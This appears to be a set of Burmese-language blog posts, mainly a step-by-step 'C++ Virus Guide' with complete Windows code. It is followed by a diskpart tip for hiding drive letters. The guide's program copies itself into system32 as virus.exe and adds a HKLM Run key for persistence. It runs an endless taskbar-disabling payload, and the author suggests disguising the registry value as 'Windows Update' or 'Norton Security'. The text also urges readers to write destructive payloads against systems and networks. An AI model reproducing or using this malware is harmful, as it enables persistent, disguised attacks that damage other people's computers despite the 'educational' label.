int main()

{

Program start;

start.Fullscreen();

cout<<"This is a full-screen C++ application!!";

getch();

return 0;

}

 
void Program::Fullscreen()

{

keybd_event (VK_MENU, 0x38, 0, 0);

keybd_event (VK_RETURN, 0x1c, 0, 0);

keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);

keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);

}

 
 
ဒီေလာက္ဆိုရင္ေတာ့ အဆင္ေျပေလာက္မယ္ထင္ပါတယ္...ေနာက္ထပ္ virus sample ေတြကိုထပ္တင္ေပးပါအံုးမယ္...။

 
(Educational Purposes Only)

 
ကိုလင္း- သလႅာဝတီ

www.youth-it-technican.blogspot.com

www.kolinthalarwaddythar.blogspot.com/

C++ Virus Guide




  •                                                                                                    
     တိုတုိနဲ႔ လိုရင္းေရာက္ေအာင္ ရွင္းျပထားတဲ႔ Guide တစ္ခုပါ။ programming ကိုစတင္ဖို႔အတြက္ ဘာေတြလိုအပ္မလဲဆိုရင္...

     
    Win32 API Reference - လိုေတာ့မလိုအပ္ပါဘူး...ဒါေပမယ့္ အလြန္အကူအညီေပးႏိုင္ပါတယ္။ဒီမွာေတာ့ Dev C++ compiler ဒီလင့္မွာ ေဒါင္းပါကိုထပ္တင္ေပးလို္က္ပါတယ္။ Dev က ေကာင္းေကာင္း အကူအညီေပးနိုင္ပါတယ္...။ Microsoft Visual C++ 6.0 ကိုလည္း အသံုးျပဳႏိုင္ပါတယ္...ဒါေပမယ့္သိတဲ႔ အတိုင္းပဲ ပိုက္ဆံအကုန္အက်ရွိႏိုင္ပါတယ္... ။

     
    ကဲ...စလိုက္ၾကရေအာင္... Dev (သို႔) MSVC ကို ဖြင့္လိုက္ပါ...ျပီးရင္ Win 32 GUI (Graphical User Interface) အသစ္တစ္ခုကို ဖြင့္လိုက္ပါ...( Dev ရဲ႕ အသံုးျပဳပံုကို ဒီ webpage မွာသြားၾကည့္ႏိုင္ပါတယ္။) ျပီးရင္ ေအာက္မွာေဖာ္ျပထားတဲ႔ Source code ေတြကို ခ်န္ထားျပီး က်န္တဲ႔ code ေတြကို delete လိုက္ပါ...

     
        #include <windows.h>

         
        int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
        LPSTR lpszArgument, int nFunsterStil)


        {

         
        return 0;

        }
        </windows.h>

     
    compile လုပ္ပါ။ run လိုက္ရင္ေတာ့ ဘာမွျဖစ္လာမွမဟုတ္ပါဘူး ( black window ေပၚလာပါမယ္ ဆိုလိုတာကေတာ့ win32 ကို goto မျဖစ္လို႔ပါ။) ။ ဘာေၾကာင့္လဲဆိုေတာ့ program က ဘာမွမလုပ္ေသးလို႔ျဖစ္ပါတယ္။ ၄င္း ကို run ျပီး exit ျဖစ္ဖို႔ {} ၾကားနဲ႔ return 0; မတိုင္ခင္မွာ project ထဲကို code အနည္းငယ္ေပါင္းထည့္ဖို႔လိုပါတယ္...

     
        MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);

     
    ထပ္ compile လုပ္ျပီး program ကို ထပ္ run ၾကည့္ပါ။ message box တစ္ခုေပၚလာႏိုင္ပါတယ္။ ဒါဟာ virus ေတာ့ မဟုတ္ေသးပါဘူး တျခား ထပ္ထည့္စရာေတြရွိပါေသးတယ္။ ေအာက္မွာျပထားတဲ႔ code ေတြကို သင့္ ရဲ႕ Project ထဲကို ထပ္ေပါင္းထည့္လိုက္ပါ။

     
        char system[MAX_PATH];

        char pathtofile[MAX_PATH];
        HMODULE GetModH = GetModuleHandle(NULL);

         
        GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
        GetSystemDirectory(system,sizeof(system));


        strcat(system,”\\virus.exe”);


        CopyFile(pathtofile,system,false);


        MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);

     
    ေနာက္တၾကိမ္ return 0; နဲ႔ {} ၾကားမွာ code ေတြကို ေသခ်ာေအာင္လုပ္ပါ။ ျပီးရင္ compile လုပ္ျပီး code ကို run လိုက္ပါ။ ျပီးရင္ သင့္ရဲ႕ Windows folder ထဲက system32 directory ကိုဖြင့္လိုက္ပါ...( ဘယ္လိုဖြင့္ရမယ္ဆိုတာမသိသူမ်ားအတြက္ startbar ထဲက run ကို သြားျပီး %windir%\system32 ဆိုျပီးရိုက္ျပီး Enter ေခါက္လိုက္ရင္ရပါတယ္။)

    ကဲ...ဖြင့္ျပီးျပီဆိုရင္ေတာ့ system32 folder ထဲမွာ virus.exe file ကိုလိုက္ရွာပါ။ အဲဒီ file ကို run လိုက္ရင္ Hello ဆိုျပီး message box တစ္ခုေပၚလာပါလိမ့္မယ္။

     
    အဆင္ေျပတယ္မွတ္လား ? ဘယ္လိုအလုပ္လုပ္တယ္ဆိုတာကို ရွင္းျပပါ့မယ္။

     
    char system[MAX_PATH]; ဒါကေတာ့ system32 directory ကို ထိန္းခ်ဳပ္ေပးဖို႔အတြက္ ၾကားခံေဆာင္ရြက္ေပးတာျဖစ္ပါတယ္။

    char pathtofile[MAX_PATH]; ဒါကေတာ့ က်ေနာ္တို႔ရဲ႕ viurs ဆီကိုသြားတဲ႔ လမ္းေၾကာင္းကို ထိန္းခ်ဳပ္ေပးဖို႔အတြက္ ၾကားခံေဆာင္ရြက္ေပးတာျဖစ္ပါတယ္။

    HMODULE GetModH= GetModuleHandle(NULL); ဒီဟာကေတာ့ အခ်ိဳ႕ အရာေတြကို grasp လုပ္ဖို႔ ခက္ခဲေစႏိုင္ပါတယ္... က်ေနာ္တို႔အတြက္ေတာ့ အဓိကအခ်က္ျဖစ္ပါတယ္။ GetModH ကေတာ့ က်ေနာ့္တို႔ရဲ႕ Virus ကို ထိန္းခ်ဳပ္ေပးမယ့္ handle ျဖစ္ပါျပီး GetModuleHandle() ကေတာ့ handle ကိုရယူျပီး ၄င္းကို အဲဒီမွာ သိမ္းဆည္းထားဖုိ႔ျဖစ္ပါတယ္။

     
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); ဒီဟာကေတာ့ အသံုးျပဳထားတဲ႔ handle ကို မရရွိခင္မွာက်ေနာ္တို႔ virus ရဲ႕ FileName ကိုရယူဖို႔ျဖစ္ျပီး pathtofile ထဲမွာ လမ္းေၾကာင္းကို သိမ္းဆည္းထားပါတယ္။

     
    GetSystemDirectory(system,sizeof(system)); အေျခခံအားျဖင့္ေတာ့ ၄င္းက သင့္ရဲ႕ system directory ကို ရွာေဖြတာျဖစ္ပါတယ္။ အမ်ားအားျဖင့္ windows ရဲ႕ directory ဟာ c:\windows\system32 ဆိုတာကို သတိထားမိမွာပါ...ဒါေပမယ့္ တျခား computer ေတြမွာ d:\winnt\system32 လည္းျဖစ္ႏိုင္ပါတယ္။ ဒါေၾကာင့္ တိက်တဲ႔ system32 directory ထဲမွာ copy လုပ္ႏိုင္ဖို႔အတြက္ အဲဒီ code ကိုထည့္ဖို႔လိုအပ္ပါတယ္။

     
    strcat(system,"\\virus.exe"); က်ေနာ္တို႔မွာ system32 directory ရွိေနပါျပီ - c:\windows\system32 (သို႔) အျခားတစ္ခုခုေပါ့ အခုဆိုရင္ copy လုပ္ဖို႔အတြက္ ေနရာတစ္ေနရာလိုပါတယ္...ဒီ function ကေတာ့ string မ်ားကို ပံုစံတစ္ခုထဲျဖစ္ေအာင္ အတူတကြခ်ည္ေႏွာင္ေပးပါတယ္။ ဒါေၾကာင့္ က်ေနာ္တို႔ရဲ႕ system က c:\windows\system32\virus.exe (သို႔) အျခား directory နဲ႔ ထိန္းခ်ဳပ္ေပးနိုင္ပါတယ္။ မွတ္ခ်က္ - \\ ဟာ typing error တစ္ခုမဟုတ္ပါဘူး ။ \\ ဆိုတာက c++ interprets ျဖစ္ပါတယ္။ \ တစ္ခုထဲဆိုရင္ character escape ျဖစ္ႏိုင္ျပီး သင့္ရဲ႕ virus ဟာအလုပ္မလုပ္ေတာ့တာေတြ ျဖစ္ႏိုင္ပါတယ္။

    CopyFile(pathtofile,system,false); က်ေနာ့္တို႔ရဲ႕ viurs ကို copy လုပ္ဖို႔အတြက္ လွပတဲ႔ ကိုယ္တုိင္ရွင္းလင္းေဖာ္ျပခ်က္ျဖစ္ပါတယ္...false ရဲ႕ အဓိပၸာယ္ကေတာ့ အကယ္၍ virus.exe ဟာ exists ျဖစ္ျပီးျပီ ဆိုရင္ ၄င္းဟာ copy လုပ္ပါလိမ့္မယ္...အဲဒါကို ရပ္တန္႔ဖို႔အတြက္ကေတာ့ false ကို true သို႔ေျပာင္းရပါမယ္(ဒါေပမယ့္ ဒီမွာေတာ့ false အေနနဲ႔ထားပါမယ္)

     
    ဒါကေတာ့ က်ေနာ္တို႔ရဲ႕ virus အတြက္ ေနာက္တဆင့္ျဖစ္ပါတယ္... အဲဒါကေတာ့ computer boots ျဖစ္တဲ႔အခါ ဒီ virus ကို စတင္ဖို႔အတြက္ code ေတြကို add ဖို႔ျဖစ္ပါတယ္။

    ဒီအဆင့္ကိုျပီးေျမာက္ေစဖို႔အတြက္ API calls ၃ ခုကို အသံုးျပဳရပါလိမ့္မယ္...

    RegOpenKeyEx(); ဒါကေတာ့ က်ေနာ္တို႔ write လုပ္ႏိုင္ဖို႔အတြက္ key ကို ဖြင့္ေပးပါတယ္။

    RegSetValueEx(); က်ေနာ္တို႔ရဲ႕ value ကို sets လုပ္ဖုိ႔ပါ။

    RegCloseKey(); ဒါကေတာ့ key ကို closes ဖို႔ပါ။

     
    ေအာက္မွာေဖာ္ျပထားတဲ႔ code ေတြကို က်ေနာ္တို႔ရဲ႕ Virus ထဲကို ေပါင္းထည့္ေပးဖို႔လိုပါတယ္...

        HKEY hKey;


        RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
);


    RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

     
    RegCloseKey(hKey);

 
ပိုျပီးသိေအာင္ ရွင္းရရင္... HKEY hKey ဟာ သင္ျဖစ္လိုတာကလြဲျပီး က်န္တဲ႔ေတြထပ္မျဖစ္ေအာင္ registry မွ calls ေတြအတြက္ data ကို ထိန္းခ်ဳပ္ဖို႔အတြက္ ေဆာင္ရြက္ေပးတဲ႔ ဟာျဖစ္ပါတယ္။ RegOpenKeyEx ကေတာ့ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run key ကိုဖြင့္ေပးျပီးေတာ့ က်ေနာ္တို႔ျဖစ္ေစခ်င္တဲ႔အတိုင္း user အားလံုးတြက္ key ကိုျဖစ္ေစဖို႔ျဖစ္ပါတယ္။ 0 ကေတာ့သီးသန္႔ထားတာျဖစ္ျပီး 0 ျဖစ္ေနဖို႔လိုအပ္ပါတယ္။ set permission နဲ႔အတူ key ကို ပြင့္လာဖို႔အတြက္ KEY_SET_VALUE ကို အသံုးျပဳတာျဖစ္ျပီး ၾကားခံေဆာင္ရြက္ေစတာျဖစ္ပါတယ္။

ေနာက္ call တစ္ခုျဖစ္တဲ႔ hKey ကေတာ့ key variables မတိုင္ခင္မွာ ၾကားခံေဆာင္ရြက္ေပးဖို႔ျဖစ္ပါတယ္။ "Writing to the registry Example" ကေတာ့ keyမွာ ေပၚေနမယ့္ message ျဖစ္ပါတယ္။ ဒီ message ကို သင့္စိတ္ၾကိဳက္ေျပာင္းလဲႏိုင္ပါတယ္...( ဥပမာ -" Windows Update" (သို႔) "Norton Security" ) ။ 0 ကေတာ့ ဆက္လက္ထားရွိရမယ့္ value ျဖစ္ပါတယ္။ REG_SZ ကေတာ့ က်ေနာ္တို႔လိုခ်င္တဲ႔ key အမ်ိဳးအစားျဖစ္ပါမယ္။ REG_BINARY နဲ႔ REG_DWORD ကဲ့သို႔ေသာ အျခား အမ်ိဳးအစားေတြလည္း ရွိပါေသးတယ္။ ဒါေပမယ့္ က်ေနာ္တို႔ကေတာ့ text (const unsigned char*)အတြက္ REG_SZ ကိုအသံုးျပဳပါမယ္...ဘာေၾကာင့္လဲဆိုေတာ့ ၄င္းဟာ normal chars ကို accept မလုပ္လို႔ပါ။ system က က်ေနာ္တို႔ရဲ႕ viurs ဆီသြားတဲ႔ လမ္းေၾကာင္းကို ထိန္းခ်ဳပ္ေပးျပီး ေနာက္ဆံုး လမ္းေၾကာင္းကေတာ့ stirng ရဲ႕ အရြယ္အစားျဖစ္ပါတယ္။ ဒီဟာကေတာ့ sizeof ကိုအသံုးျပဳျခင္းအားျဖင့္ အလိုအေလွ်ာက္ တြက္ခ်က္ေပးပါတယ္။

ေနာက္ call တစ္ခုကေတာ့ registry key ကို ပိတ္ဖို႔ျဖစ္ပါတယ္။

 
အေပၚမွာ ေပးထားတဲ့ code ေတြကို add ျပီးသြားျပီ ဆိုရင္ေတာ့ ေအာက္ကပံုစံအတိုင္းျဖစ္သြားပါလိမ့္မယ္...

    #include <windows.h>

     
    int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
    LPSTR lpszArgument, int nFunsterStil)


    {

     
    char system[MAX_PATH];

    char pathtofile[MAX_PATH];
    HMODULE GetModH = GetModuleHandle(NULL);

     
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
    GetSystemDirectory(system,sizeof(system));


    strcat(system,”\\virus.exe”);


    CopyFile(pathtofile,system,false);

     

    HKEY hKey;


    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
);


    RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));


    RegCloseKey(hKey);

     
    return 0;

    }
    </windows.h>

 
code ကို run လိုက္ပါ ျပီးရင္ regedit ကို ဖြင့္ျပီး HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run ကိုသြားပါ... ညာဘက္က pane မွာ က်ေနာ္တို႔ရဲ႕ key အသစ္ကိုေတြ႔ႏိုင္ပါတယ္။

 
ေနာက္တစ္ဆင့္ကေတာ့ virus ေရးသားျခင္းမွာ စိတ္၀င္စားစရာ အေကာင္းဆံုးျဖစ္တဲ႔ virus ရဲ႕ Payload ပိုင္းပါတယ္။ ၄င္းကေတာ့ ထင္တိုင္းၾကဲႏိုင္တဲ့ code ေတြျဖစ္ပါတယ္...Ddos က သင့္ရဲ႕ mouse ကို screen ေပၚမွာ ေလွ်ာက္ေျပးေနေအာင္ လုပ္ထားတာျဖစ္တယ္။ ဖ်က္ဆီးေစတဲ႔ Payload အပိုင္းကို virus community အားျဖင့္ စိတ္ညစ္ေအာင္ စိတ္ရႈပ္ေအာင္ လုပ္လို႔ရပါတယ္...။ computer ရဲ႕ system နဲ႔ network ေတြကို ဖ်က္ဆီးဖို႔အတြက္ သင့္ရဲ႕ ကိုယ္ပိုင္ idea ေတြကို အသံုးျပဳျပီး ေရးသားနိုင္ပါတယ္။ ဒါေပမယ့္ ဖ်က္ဆီးႏိုင္တဲ႔ payload ေတြထက္ မပ်က္ဆီးေစႏိုင္တဲ႔ payload ေတြကပိုျပီး အေပ်ာ္သေဘာသက္ေရာက္ေစပါတယ္...။ ဒီ turotial မွာေတာ့ payload ကို Flasher နဲ႔ အသက္သြင္းထားပါတယ္။

 
payload ကို ထပ္ျဖည့္လိုက္ရင္ ေအာက္မွာျပထားတဲ႔အတိုင္းျဖစ္သြားပါလိမ့္မယ္....

    #include <windows.h>

     
    int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
    LPSTR lpszArgument, int nFunsterStil)


    {

     
    char system[MAX_PATH];

    char pathtofile[MAX_PATH];
    HMODULE GetModH = GetModuleHandle(NULL);

     
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
    GetSystemDirectory(system,sizeof(system));


    strcat(system,”\\virus.exe”);


    CopyFile(pathtofile,system,false);

     

    HKEY hKey;


    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
);


    RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));


    RegCloseKey(hKey);


    HWND hWin;

     
    hWin = FindWindow("Shell_TrayWnd",NULL);
    EnableWindow(hWin,false);

     
    while(1==1)

    {

    ShowWindow(hWin,false);

    Sleep(1000);

    ShowWindow(hWin,true);

    Sleep(1000);
    }

     
    return 0;

    }
    </windows.h>

 
ဒီ payload ကိုလည္း အထင္မေသးပါနဲ႔ အလြန္စိတ္ညစ္သြားေအာင္ လုပ္ႏိုင္ပါတယ္... ဒီ virus ကို fix လုပ္ဖို႔အတြက္ကေတာ့ ctrl+alt+delete ကိုႏွိပ္ပါ ျပီးရင္ virus.exe ကို လိုက္ရွာျပီး process ကို end လုပ္ပါ။ ျပီးရင္ explorer.exe ကိုရွာျပီး end လုပ္လိုက္ပါ။ အဲဒါျပီးရင္ေတာ့ task manager ရဲ႕ file ထဲကိုသြားျပီး new ထဲမွာ explorer.exe လို႔ရိုက္ျပီး ျပန္ run လိုက္ပါ။ အကယ္၍မ်ား EnableWindow နဲ႔ ShowWindow ကိုေျပာင္းျပီး အလုပ္ မလုပ္ဘူးဆိုရင္ေတာ့ false ေနရာမွာ true ကို အစားထိုးဖို႔လိုပါတယ္..။

 
ဒါေၾကာင့္ taskmanager ကို ဘယ္လို ေဖ်ာက္ထားႏိုင္တယ္ဆိုတဲ႔ နည္းလမ္းေတြ ၊ ရာေပါင္းမ်ားစြာရွိတဲ႔ API calls ေတြနဲ႔ ကို ေလ့လာထားရမွာ ျဖစ္ပါတယ္။ ဒါ့အျပင္ run လိုက္တဲ႔ အခါမွာ error တစ္ခုခုျဖစ္ေနရင္ေတာ့ errors အားလံုးရဲ႕ ၉၅% ေလာက္ဟာ spelling မွားယြင္းတဲ႔အတြက္ ျဖစ္ႏိုင္ပါတယ္။


(Educational Purpose)

Dev C++ compilerကိုminus၌ေဒါင္းပါ--->http://minus.com/lbwdAzaKVuyaxU

Dev C++ compilerကိုmediafire၌ေဒါင္းပါ--->http://www.mediafire.com/?ddomkzo74ojn7av


www.youth-it-technican.blogspot.com/

command prompt ကေန drive ေတြေဖ်ာက္ျခင္း


အရင္ဆံုး window key+R နဲ႔ run box ကိုဖြင့္လိုက္ပါ
ျပီးရင္ diskpart လို႕ို႔ေရးျပီး enter ေခါက္လိုက္ပါ

diskpart box က်လာပါလိမ့္မယ္

diskpart box မွာ list volume လို႔ေရးျပီး enter ေခါက္ပါ



ကိုယ့္စက္မွာရွိတဲ့ drive ေတြကို
volume 0 , volume 1...
အဲလိုျမင္ရမွာပါ

ကြ်န္ေတာ္က drive E ကိုေဖ်ာက္ခ်င္လို႔ select volume 0 လို႔ေရးျပီး enter ေခါက္ပါတယ္

ျပီးေတာ့ remove letter E ဆိုျပီး enter ထပ္ေခါက္ လိုက္ပါတယ္

ိdrive E ကိုျပန္ၾကည့္လိုက္ပါ
ေပ်ာက္ေနေတာ့မွာပါ

ေပ်ာက္ေနတာကို ျပန္ေဖာ္မယ္ဆိုရင္ေတာ့ အခု လုပ္ခဲ့ တဲ့ အဆင့္အတိုင္းျပန္လုပ္ျပီးေတာ့
remove letter E ဆိုတဲ့ေနရာမွာ
assign letter E ဆိုျပီး
enter ေခါက္လိုက္ပါ
ျပန္ေပၚလာမွာပါ

ကိုေလး ရဲ႕ပို႕စ္ေလးပါ
back to top